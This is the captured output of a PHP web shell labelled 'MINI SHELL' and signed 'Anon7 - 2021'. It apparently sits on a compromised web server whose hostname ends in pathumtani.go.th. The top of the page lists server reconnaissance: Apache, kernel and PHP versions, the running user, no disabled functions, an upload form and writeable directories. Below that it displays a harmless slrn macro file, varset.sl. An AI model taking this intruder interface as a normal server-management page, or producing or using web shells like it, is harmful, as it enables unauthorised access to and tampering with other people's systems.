MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/share/slrn/macros/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/slrn/macros/varset.sl
% This macro will prompt for a variable name and lets you change it, using
% the current value as the default.

define set_variable ()
{
   variable name, value;
   
   name = read_mini_variable ("Set variable: ", "", "");
   if (name == "")
     return;
   
   value = get_variable_value (name);
   if (typeof (value) == Integer_Type)
     {
	value = read_mini_integer ("New value: ", value);
	set_integer_variable (name, value);
     }
   else
     {
	value = read_mini ("New value: ", "", value);
	set_string_variable (name, value);
     }
}

Anon7 - 2021